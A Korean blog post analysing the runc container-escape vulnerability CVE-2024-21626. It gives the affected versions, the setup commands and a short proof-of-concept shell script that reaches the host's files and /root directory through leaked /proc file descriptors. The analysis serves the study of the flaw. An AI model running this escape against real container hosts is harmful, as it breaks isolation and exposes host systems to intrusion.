Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

[CVE-2024-21626] Docker Escape 본문

CVE Analyze

[CVE-2024-21626] Docker Escape

{{HW}} 2025. 3. 23. 21:25

0. 서론 및 취약점 환경 구성

0-1. 취약점 설명

해당 취약점은 컨테이너 런타임 컴포넌트 중 하나인 runc 모듈에서 발생한다.

 

파일 디스크립터 노출 및 잘못된 WORKDIR 설정 취약점

잘못된 WORKDIR 설정과 파일 디스크립터 노출로 인해 도커 컨테이너의 격리가 무너질 수 있다. runc와 같은 실행 도구는 컨테이너 실행 시 여러 파일 디스크립터를 관리하는데, WORKDIR이 호스트 파일 시스템과 연결될 경우 해당 디스크립터가 컨테이너 프로세스로 전달될 수 있다. 이로 인해 컨테이너 내부에서 호스트 파일에 접근할 위험이 발생하며, 궁극적으로 컨테이너 탈출 및 시스템 침해로 이어질 수 있다. 따라서, WORKDIR을 신중히 설정하고 불필요한 파일 디스크립터 노출을 방지해야 한다.

 

0-2. 취약점 발생 조건

  • runc 모듈 버전이 v1.0.0-rc93 이상, 1.1.11 이하
  • 컨테이너 내부의 파일 디스크립터가 노출
  • 호스트 파일 시스템의 네임스페이스를 working directory 로 사용할 수 있게 허용

 

0-3. 취약점 환경 구성

- 도커 내부

ln -sf /proc/self/fd/8 /uploads

- 호스트

docker exec -itd -w /uploads flask sleep 99999

 

 

1. 정보 수집

1-1. 시스템 정보 수집

# 커널 정보
uname -a

# 호스트 정보 -> Docker 환경 확인
cat /etc/hostname

 

 

2. REC 검증

2-1. 연결된 파일 디스크립터가 존재하는지 확인

cat > poc.sh << 'EOF'
#!/bin/bash
for path in /proc/[0-9]*/cwd/../../../etc/hostname
do
        if [ -f "$path" ]
        then
                result=$(cat $path 2>/dev/null)
                echo "$path > $result"
        fi
done
EOF

# **도커와 연결된 호스트 탐색**
chmod +x poc.sh && ./poc.sh

 

2-2. 호스트 root 경로 확인

ls -la /proc/<pid>/cwd/../../../root